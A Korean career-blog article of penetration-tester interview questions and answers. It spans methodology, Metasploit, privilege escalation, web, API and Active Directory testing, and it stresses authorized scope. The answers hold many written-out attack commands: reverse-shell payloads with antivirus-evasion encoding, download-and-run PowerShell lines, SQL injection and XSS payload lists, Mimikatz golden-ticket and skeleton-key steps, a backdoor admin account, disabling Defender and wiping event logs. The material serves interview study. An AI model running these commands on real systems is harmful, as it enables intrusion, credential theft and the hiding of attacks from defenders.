12월 21, 2025
38 분 읽기

침투 테스터 면접 질문과 답변

interview
career-advice
job-search
침투 테스터 면접 질문과 답변
Milad Bonakdar

Milad Bonakdar

작성자

범위 설정, 정찰, 취약점 우선순위, Burp Suite, Metasploit, API, Active Directory, 보고를 다루는 실전 침투 테스터 면접 질문으로 준비하세요.


소개

침투 테스터 면접에서 좋은 답변은 세 가지를 보여줘야 합니다. 합의된 범위 안에서 일할 수 있고, 체계적으로 테스트하며, 엔지니어링 팀과 비즈니스 팀이 행동할 수 있게 위험을 설명할 수 있어야 합니다.

이 질문으로 범위 설정, 정보 수집, 취약점 우선순위, Burp Suite, Metasploit, API 테스트, Active Directory, 보고를 연습하세요. 모든 답변은 승인된 테스트, 명확한 증거, 수정 방안에 기반해야 합니다.


침투 테스트 기본 사항

1. 침투 테스트의 단계는 무엇입니까?

답변: 좋은 방법론은 스캔 전에 시작됩니다. 먼저 서면 승인, 범위, 작업 규칙, 테스트 시간, 데이터 처리 제한, 비상 연락처를 확인합니다. 그다음 반복 가능한 흐름으로 진행합니다.

1. 범위 설정 및 계획:

  • 서면 승인, 대상, 제외 항목, 작업 규칙 확인
  • 목표, 성공 기준, 커뮤니케이션 경로, 중단 조건 정의

2. 정보 수집 및 발견:

  • 수동 및 능동 정보 수집
  • 호스트, 서비스, 애플리케이션 흐름, 사용자 역할, 노출된 공격 표면 식별

3. 취약점 분석:

  • 발견 사항을 비즈니스 영향과 악용 가능성에 연결
  • 스캐너 결과를 발견 사항으로 확정하기 전에 수동 검증

4. 악용 및 사후 검증:

  • 영향을 증명하는 데 필요한 범위 내 약점만 악용
  • 규칙을 넘지 않고 권한 경계, 측면 이동 경로, 데이터 노출 확인

5. 보고, 정리 및 재테스트:

  • 증거, 영향, 재현 단계, 수정 방안 문서화
  • 테스트 산출물을 제거하고 이해관계자에게 설명하며 요청 시 수정 사항 재검증
Loading diagram...

정보 수집 예시:

# 수동 정보 수집
whois target.com
nslookup target.com
dig target.com ANY

# 능동 정보 수집
nmap -sn 192.168.1.0/24  # 호스트 검색
nmap -sV -sC target.com  # 서비스/버전 감지

희소성: 매우 흔함 난이도: 중간


취약점 평가

2. 취약점의 우선 순위를 어떻게 지정합니까?

답변: CVSS를 출발점으로 삼고 악용 가능성, 자산 중요도, 데이터 민감도, 노출 정도, 보완 통제, 알려진 실제 악용 여부로 조정합니다. 면접에서는 모든 스캐너 결과를 같은 긴급도로 보지 않는 판단력이 중요합니다.

CVSS 점수:

  • 위험 (9.0-10.0): 원격 코드 실행, 인증 우회
  • 높음 (7.0-8.9): SQL 인젝션, 데이터 접근이 가능한 XSS
  • 중간 (4.0-6.9): 정보 노출, CSRF
  • 낮음 (0.1-3.9): 사소한 정보 유출

우선 순위 지정 요소:

def calculate_risk_score(vulnerability):
    """취약점에 대한 위험 점수 계산"""
    # 기본 CVSS 점수
    cvss_score = vulnerability.cvss_score
    
    # 악용 가능성
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # 자산 중요도
    asset_value = {
        'critical': 3.0,  # 프로덕션 데이터베이스
        'high': 2.0,      # 웹 애플리케이션
        'medium': 1.5,    # 내부 도구
        'low': 1.0        # 테스트 환경
    }[vulnerability.asset_criticality]
    
    # 데이터 민감도
    data_sensitivity = {
        'pii': 2.0,       # 개인 데이터
        'financial': 2.5, # 결제 정보
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # 최대 10으로 제한

희소성: 매우 흔함 난이도: 중간


Metasploit

3. Metasploit을 사용하여 취약점을 어떻게 악용합니까?

답변: Metasploit 프레임워크 워크플로우:

기본 악용:

# Metasploit 시작
msfconsole

# 익스플로잇 검색
search ms17-010  # EternalBlue

# 익스플로잇 사용
use exploit/windows/smb/ms17_010_eternalblue

# 옵션 보기
show options

# 대상 설정
set RHOSTS 192.168.1.100

# 페이로드 설정
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# 대상이 취약한지 확인
check

# 익스플로잇 실행
exploit

Meterpreter 명령어:

# 시스템 정보
sysinfo
getuid

# 권한 상승
getsystem

# 자격 증명 덤프
hashdump
load kiwi
cred_all

# 지속성
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# 피벗
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

페이로드 생성:

# 역방향 쉘 생성
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# AV 회피를 위한 인코딩
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

희소성: 매우 흔함 난이도: 중간-어려움


4. 권한 상승은 어떻게 수행합니까?

답변: 권한 상승은 더 높은 접근 수준을 얻기 위해 잘못된 구성을 악용합니다.

Linux 권한 상승:

1. 열거:

# 시스템 정보
uname -a
cat /etc/issue
cat /etc/*-release

# 현재 사용자 및 권한
id
sudo -l

# 사용자 및 그룹
cat /etc/passwd
cat /etc/group

# SUID 바이너리
find / -perm -4000 -type f 2>/dev/null

# 쓰기 가능한 디렉토리
find / -writable -type d 2>/dev/null

# Cron 작업
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# 네트워크 연결
netstat -antup
ss -tulpn

2. 일반적인 기술:

SUID 악용:

# SUID 바이너리 찾기
find / -perm -u=s -type f 2>/dev/null

# 예시: find 악용
find /home -exec /bin/sh \; -quit

# 예시: vim 악용
vim -c ':!/bin/sh'

# 예시: nmap 악용 (구 버전)
nmap --interactive
nmap> !sh

Sudo 잘못된 구성:

# sudo 권한 확인
sudo -l

# 예시 출력:
# (ALL) NOPASSWD: /usr/bin/vim

# vim 악용
sudo vim -c ':!/bin/sh'

# 예시: LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

커널 익스플로잇:

# 커널 버전 확인
uname -r

# 익스플로잇 검색
searchsploit linux kernel 4.4.0

# 예시: Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. 자동화 도구:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Windows 권한 상승:

1. 열거:

# 시스템 정보
systeminfo
hostname
whoami /all

# 사용자 및 그룹
net user
net localgroup administrators

# 실행 중인 프로세스
tasklist /v
wmic process list full

# 서비스
sc query
wmic service list brief

# 예약된 작업
schtasks /query /fo LIST /v

# 네트워크 연결
netstat -ano

# 설치된 소프트웨어
wmic product get name,version

2. 일반적인 기술:

따옴표로 묶이지 않은 서비스 경로:

# 따옴표로 묶이지 않은 서비스 경로 찾기
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# 악용
C:\Program Files\Vulnerable App\service.exe
# 악성 실행 파일 생성 위치:
C:\Program.exe

AlwaysInstallElevated:

# 레지스트리 확인
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 둘 다 1이면 악성 MSI 생성
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

토큰 가장:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. 자동화 도구:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (커널 익스플로잇)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

희소성: 매우 흔함 난이도: 어려움


Burp Suite

5. Burp Suite를 사용하여 SQL 인젝션을 어떻게 찾습니까?

답변: 체계적인 SQL 인젝션 테스트:

1. 요청 가로채기:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Repeater로 보내기: 수동 페이로드 테스트:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Intruder 사용:

공격 유형: Sniper
페이로드 위치: username=§admin§
페이로드 목록:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. 응답 분석:

  • 다른 응답 길이
  • 오류 메시지
  • 시간 지연 (블라인드 SQLi)

고급 테스트:

# 블라인드 SQL 인젝션 감지
import requests
import time

def test_blind_sqli(url, param):
    # 시간 기반 감지
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] 블라인드 SQLi 발견: {payload}")
            return True
    
    return False

희소성: 매우 흔함 난이도: 중간


웹 애플리케이션 테스트

6. XSS 취약점을 어떻게 테스트합니까?

답변: 포괄적인 XSS 테스트 접근 방식:

XSS 유형:

  1. 반사적 XSS: URL/폼에 페이로드가 있고 즉시 반영됨
  2. 저장적 XSS: 페이로드가 데이터베이스에 저장됨
  3. DOM 기반 XSS: 클라이언트 측 JavaScript 취약점

테스트 방법론:

1. 인젝션 지점 식별:

# URL 매개변수
http://target.com/search?q=<script>alert(1)</script>

# 폼 입력
<input name="comment" value="<script>alert(1)</script>">

# HTTP 헤더
User-Agent: <script>alert(1)</script>

2. 필터 우회:

// 기본 페이로드
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// 필터 우회
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // 대소문자 변형

// 이벤트 핸들러
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// 인코딩된 페이로드
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Burp Suite XSS 테스트:

Intruder 페이로드 목록:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. 자동 스캔:

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

희소성: 매우 흔함 난이도: 중간


7. API 보안을 어떻게 테스트합니까?

답변: API 보안 테스트는 인증, 권한 부여 및 입력 유효성 검사에 중점을 둡니다.

일반적인 API 취약점:

1. 손상된 인증:

# 취약한 JWT 테스트
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# "alg": "none"이 있는 JWT
# 페이로드 수정 및 서명 제거

2. 손상된 권한 부여:

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # 다른 사용자 ID 시도

# 다른 HTTP 메서드 테스트
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. 대량 할당:

# 관리자 필드 추가 시도
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

REST API 테스트:

# 자동화된 API 테스트
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """IDOR 취약점 테스트"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] 접근 가능: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """속도 제한 테스트"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] {i}번 요청 후 속도 제한 적용")
                return True
        
        print("[-] 속도 제한 감지 안됨")
        return False
    
    def test_injection(self, endpoint, payloads):
        """인젝션 취약점 테스트"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # SQL 오류 확인
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] 잠재적 SQL 인젝션: {payload}")
                print(f"응답: {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """인증 우회 테스트"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] 잠재적 인증 우회: {payload}")

# 사용법
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

GraphQL 테스트:

# 인트로스펙션 쿼리
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}
# GraphQL 인젝션
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# GraphQL 일괄 처리 공격
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... 1000번 반복
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

API 퍼징:

# ffuf를 사용한 API 퍼징
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# 매개변수 퍼징
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# 메서드 퍼징
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Postman 사전 요청 스크립트
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Postman 테스트 스크립트
pm.test("SQL 오류 확인", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API 보안 상위 10:

  1. 손상된 객체 수준 권한 부여 - IDOR 테스트
  2. 손상된 인증 - 취약한 토큰 테스트
  3. 과도한 데이터 노출 - 응답 데이터 확인
  4. 리소스 부족 및 속도 제한 - DoS 테스트
  5. 손상된 기능 수준 권한 부여 - 권한 상승 테스트
  6. 대량 할당 - 매개변수 오염 테스트
  7. 보안 잘못된 구성 - 헤더, CORS 확인
  8. 인젝션 - SQLi, NoSQLi, 명령 인젝션 테스트
  9. 부적절한 자산 관리 - 이전 API 버전 찾기
  10. 불충분한 로깅 및 모니터링 - 감사 로그 확인

희소성: 흔함 난이도: 중간-어려움


네트워크 침투 테스트

8. 네트워크 침투 테스트는 어떻게 수행합니까?

답변: 구조화된 네트워크 평가:

1. 네트워크 검색:

# Ping 스윕
nmap -sn 192.168.1.0/24

# ARP 스캔 (로컬 네트워크)
arp-scan -l

# 활성 호스트 식별
netdiscover -r 192.168.1.0/24

2. 포트 스캔:

# TCP SYN 스캔 (스텔스)
nmap -sS 192.168.1.100

# 서비스 버전 감지
nmap -sV 192.168.1.100

# OS 감지
nmap -O 192.168.1.100

# 공격적인 스캔
nmap -A -T4 192.168.1.100

# 모든 포트
nmap -p- 192.168.1.100

3. 취약점 스캔:

# Nmap NSE 스크립트
nmap --script vuln 192.168.1.100

# 특정 취약점
nmap --script smb-vuln-ms17-010 192.168.1.100

# 포괄적인 스캔을 위한 OpenVAS/Nessus

4. 악용:

# SMB 악용
use exploit/windows/smb/ms17_010_eternalblue

# SSH 무차별 대입
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. 사후 악용:

# 측면 이동
# 자격 증명 덤프
# 권한 상승
# 지속성

희소성: 매우 흔함 난이도: 어려움


9. Active Directory 환경을 어떻게 공격합니까?

답변: Active Directory는 많은 공격 벡터가 있는 주요 표적입니다.

열거:

# PowerView 열거
Import-Module PowerView.ps1

# 도메인 정보 가져오기
Get-Domain
Get-DomainController

# 사용자 열거
Get-DomainUser
Get-DomainUser -Identity administrator

# 그룹 열거
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# 공유 찾기
Find-DomainShare -CheckShareAccess

# 컴퓨터 찾기
Get-DomainComputer

BloodHound:

# SharpHound로 데이터 수집
.\SharpHound.exe -c All

# 또는 PowerShell 사용
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# JSON을 BloodHound GUI에 업로드
# 도메인 관리자에 대한 공격 경로 분석

Kerberoasting:

# 서비스 티켓 요청
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# 또는 Rubeus 사용
.\Rubeus.exe kerberoast /outfile:hashes.txt

# hashcat으로 크래킹
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# "Kerberos 사전 인증 필요 없음" 사용자를 찾습니다.
Get-DomainUser -PreauthNotRequired

# AS-REP 요청
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# 크래킹
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# Impacket 사용
python3 psexec.py -hashes :ntlmhash [email protected]

# CrackMapExec 사용
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# SAM 덤프
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# Mimikatz로 티켓 내보내기
mimikatz # sekurlsa::tickets /export

# 티켓 삽입
mimikatz # kerberos::ptt ticket.kirbi

# 또는 Rubeus 사용
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# krbtgt 해시 가져오기
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# 골든 티켓 생성
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# 티켓 삽입
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# 서비스 계정 해시 가져오기
mimikatz # sekurlsa::logonpasswords

# 특정 서비스에 대한 실버 티켓 생성
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

DCSync 공격:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

측면 이동:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell 원격
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

지속성:

# 도메인 관리자 생성
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# 골든 티켓 (장기)
# 실버 티켓 (특정 서비스)

# 스켈레톤 키 (Mimikatz)
mimikatz # misc::skeleton
# 이제 모든 사용자가 비밀번호 "mimikatz"로 인증 가능

방어 회피:

# Windows Defender 비활성화
Set-MpPreference -DisableRealtimeMonitoring $true

# 이벤트 로그 지우기
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# PowerShell 난독화
Invoke-Obfuscation

희소성: 흔함 난이도: 어려움


보고

10. 침투 테스트 보고서에 무엇이 포함되어야 합니까?

답변: 포괄적인 보고 구조:

요약:

  • 주요 결과
  • 비즈니스 영향
  • 위험 개요
  • 권장 사항

기술 세부 정보:

발견 예시: 로그인 폼의 SQL 인젝션

심각도: 위험 (CVSS 9.8)

설명: /admin/login의 로그인 폼은 SQL 인젝션에 취약하여 공격자가 인증을 우회하고 관리자 패널에 접근할 수 있습니다.

영향을 받는 자산:

PoC (Proof of Concept):

POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

영향:

  • 관리자 패널에 대한 무단 접근
  • 민감한 고객 데이터에 대한 접근
  • 잠재적인 데이터베이스 손상

수정:

  1. 매개변수화된 쿼리 사용
  2. 입력 유효성 검사 구현
  3. 데이터베이스 사용자에 최소 권한 원칙 적용

희소성: 매우 흔함 난이도: 중간


결론

침투 테스터 면접은 실무 경험과 깊은 기술 지식을 필요로 합니다. 다음 사항에 집중하세요.

  1. 방법론: 구조화된 테스트 접근 방식, 문서화
  2. 취약점 평가: 위험 우선 순위 지정, CVSS 점수
  3. 도구: Metasploit, Burp Suite, Nmap, 사용자 정의 스크립트
  4. 권한 상승: Linux 및 Windows 기술, 자동화 도구
  5. 웹 테스트: SQL 인젝션, XSS, 인증 우회
  6. API 테스트: REST/GraphQL 보안, 권한 부여 결함
  7. 네트워크 테스트: 스캔, 악용, 측면 이동
  8. Active Directory: Kerberoasting, Pass-the-Hash, BloodHound
  9. 보고: 명확한 문서화, 비즈니스 영향, 수정

합법적인 실습 환경과 의도적으로 취약하게 만든 애플리케이션에서 연습하고, 반복 가능한 테스트 체크리스트를 만들며, 악용만큼 발견 사항 작성도 연습하세요. 좋은 후보자는 언제 멈출지, 어떻게 안전하게 영향을 증명할지, 팀이 어떻게 수정하도록 도울지 설명할 수 있습니다.

Newsletter subscription

실제로 효과가 있는 주간 커리어 팁

최신 인사이트를 받은 편지함으로 직접 받아보세요

지원을 멈추세요. 채용되기 시작하세요.

전 세계 구직자들이 신뢰하는 AI 기반 최적화로 이력서를 면접 자석으로 변환하세요.

무료로 시작하기

이 게시물 공유

면접 콜백을 2배로 늘리세요

직무 설명에 맞게 이력서를 맞춤화하는 후보자는 2.5배 더 많은 면접을 받습니다. 우리 AI를 사용하여 모든 지원서에 대해 즉시 자동으로 이력서를 맞춤화하세요.